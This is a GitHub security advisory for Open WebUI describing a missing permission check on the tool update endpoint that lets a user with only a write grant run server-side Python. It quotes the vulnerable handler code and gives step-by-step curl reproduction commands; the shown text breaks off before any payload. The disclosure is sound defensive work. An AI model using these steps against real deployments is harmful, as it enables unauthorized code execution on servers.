GitHub Advisoryadvisory · npm

GHSA-p4fx-23fq-jfg6 Open WebUI: Missing `workspace.tools` Authorization Check on Tool Update Endpoint Allows Privilege Escalation to Code Execution

HIGH Published 2026-05-14 Modified 2026-05-15 Official page ↗
Aliases
CVE-2026-45395
Ecosystem
npm
Packages
open-webui
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-269, CWE-862
Reviewed
2026-05-14

Affected packages

• npm open-webui: < 0.9.5 → fixed in 0.9.5

Description

Summary The tool update endpoint (`POST /api/v1/tools/id/{id}/update`) is missing the `workspace.tools` permission check that is present on the tool create endpoint. This allows a user who has been explicitly denied tool management capabilities ( and who the administrator considers untrusted for code execution ) to replace a tool's server-side Python content and trigger execution, bypassing the intended `workspace.tools` security boundary. Open WebUI's security policy correctly states that `workspace.tools` is the trust boundary for code execution: *"Granting a user the ability to create Tools is equivalent to giving them shell access to the server."* This vulnerability breaks that boundary. A `write` access grant on a single tool is sufficient to bypass `workspace.tools` entirely. This is not a report about exec() being unsandboxed (that is acknowledged as intended behavior). This is a report about a missing authorization check that allows an untrusted user to reach the exec() sink that should be gated behind `workspace.tools`. Root Cause The create and update endpoints for tools have asymmetric authorization checks. The create endpoint enforces the `workspace.tools` permission; the update endpoint does not. Create endpoint, enforces `workspace.tools` File: `backend/open_webui/routers/tools.py`, lines 326-345 ```python @router.post('/create', response_model=Optional[ToolResponse]) async def create_new_tools( request: Request, form_data: ToolForm, user=Depends(get_verified_user), db: AsyncSession = Depends(get_async_session), ): if user.role != 'admin' and not ( await has_permission( user.id, 'workspace.tools', # ← CHECKED request.app.state.config.USER_PERMISSIONS, db=db ) or await has_permission( user.id, 'workspace.tools_import', # ← CHECKED request.app.state.config.USER_PERMISSIONS, db=db ) ): raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.UNAUTHORIZED, ) # ... proceeds to exec(content, ...) at line 367 ``` Update endpoint does NOT enforce `workspace.tools` File: `backend/open_webui/routers/tools.py`, lines 451-485 ```python @router.post('/id/{id}/update', response_model=Optional[ToolModel]) async def update_tools_by_id( request: Request, id: str, form_data: ToolForm, user=Depends(get_verified_user), db: AsyncSession = Depends(get_async_session), ): tools = await Tools.get_tool_by_id(id, db=db) # ... if ( tools.user_id != user.id and not await AccessGrants.has_access( user_id=user.id, resource_type='tool', resource_id=tools.id, permission='write', # ← only checks write grant db=db, ) and user.role != 'admin' ): raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=ERROR_MESSAGES.UNAUTHORIZED, ) # NOTE: No has_permission(user.id, 'workspace.tools', ...) check # ... proceeds to exec(content, ...) at line 485 tool_module, frontmatter = await load_tool_module_by_id(id, content=form_data.content) ``` The `write` access grant is a collaboration primitive used across the application (knowledge bases, prompts, models, tools) for content editing. On every other resource type, a `write` grant allows editing metadata and content. On tools specifically, because the update endpoint triggers `exec()`, a `write` grant silently escalates to code execution but only because the `workspace.tools` check is missing. If the check were present (as it is on create), the `write` grant would not confer execution privilege. Prerequisites 1. Attacker (Bob): A regular user account with no `workspace.tools` permission. `workspace.tools` is disabled by default (`config.py:1364-1366`), so this is the default state for all non-admin users. 2. Collaborator (Alice): A user with `workspace.tools` permission who creates a tool and grants `write` access to Bob. This is a normal collaboration workflow Alice is sharing editing access, not granting code execution rights. 3. No admin action required beyond the initial `workspace.tools` grant to Alice (which is the intended, documented workflow). Note on default configuration: The `workspace.tools` permission defaults to `false`. An administrator must explicitly enable it for at least one user (Alice). This is a documented, recommended workflow the security policy explicitly describes granting `workspace.tools` to trusted users. The vulnerability is not that Alice has this permission; it is that Bob can bypass it. Proof of Concept Environment ```bash docker run -d -p 3000:8080 --name open-webui ghcr.io/open-webui/open-webui:main ``` Default configuration. Admin creates an account, enables `workspace.tools` for trusted users via Admin Panel > Settings > User Permissions. Step-by-step reproduction Step 1 Setup users Create two non-admin users: Alice (trusted, will get `workspace.tools`) and Bob (untrusted, will NOT get `workspace.tools`). ```bash ADMIN_TOKEN="" BASE="http://localhost:3000" Create Alice ALICE=$(curl -s -X POST "$BASE/api/v1/auths/add" \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -H "Content-Type: application/json" \ -d '{"name":"alice","email":"[email protected]","password":"alice123","role":"user"}') ALICE_TOKEN=$(echo $ALICE | jq -r .token) ALICE_ID=$(echo $ALICE | jq -r .id) Create Bob BOB=$(curl -s -X POST "$BASE/api/v1/auths/add" \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -H "Content-Type: application/json" \ -d '{"name":"bob","email":"[email protected]","password":"bob12345","role":"user"}') BOB_TOKEN=$(echo $BOB | jq -r .token) BOB_ID=$(echo $BOB | jq -r .id) ``` Step 2 Admin enables `workspace.tools` globally This is the documented workflow for allowing trusted users to build tools. ```bash Get current permissions PERMS=$(curl -s "$BASE/api/v1/users/default/permissions" \ -H "Authorization: Bearer $ADMIN_TOKEN") Enable workspace.tools PERMS=$(echo $PERMS | jq '.workspace.tools = true') curl -s -X POST "$BASE/api/v1/users/default/permissions" \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -H "Content-Type: application/json" \ -d "$PERMS" ``` Step 3 Alice creates a benign tool ```bash curl -s -X POST "$BASE/api/v1/tools/create" \ -H "Authorization: Bearer $ALICE_TOKEN" \ -H "Content-Type: application/json" \ -d '{ "id": "helper_tool", "name": "Helper Tool", "content": "class Tools:\n def hello(self):\n return \"Hello\"\n", "meta": {"description": "A benign helper", "manifest": {}} }' ``` Step 4 Alice grants write access to Bob (collaboration) Alice wants Bob to be able to edit the tool's description or parameters. This is a standard collaboration feature. ```bash curl -s -X POST "$BASE/api/v1/tools/id/helper_tool/access/update" \ -H "Authorization: Bearer $ALICE_TOKEN" \ -H "Content-Type: application/json" \ -d "{\"access_grants\": [ {\"principal_type\": \"user\", \"principal_id\": \"$BOB_ID\", \"permission\": \"write\"} ]}" ``` Step 5 Admin disables `workspace.tools` Admin revokes the global permission. Now neither Alice nor Bob (nor any non-admin) should be able to execute code via tools. ```bash PERMS=$(echo $PERMS | jq '.workspace.tools = false') curl -s -X POST "$BASE/api/v1/users/default/permissions" \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -H "Content-Type: application/json" \ -d "$PERMS" ``` Step 6 Verify Bob CANNOT create tools ```bash curl -s -X POST "$BASE/api/v1/tools/create" \ -H "Authorization: Bearer $BOB_TOKEN" \ -H "Content-Type: application/json" \ -d '{ "id": "bob_test", "name": "Test", "content": "class Tools: pass", "meta": {"description": …

Related

Alias · CVE (1)

  • CVE-2026-45395 Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. vulnerability

Weakness · CWE (2)

  • CWE-269 Improper Privilege Management weakness
  • CWE-862 Missing Authorization weakness

References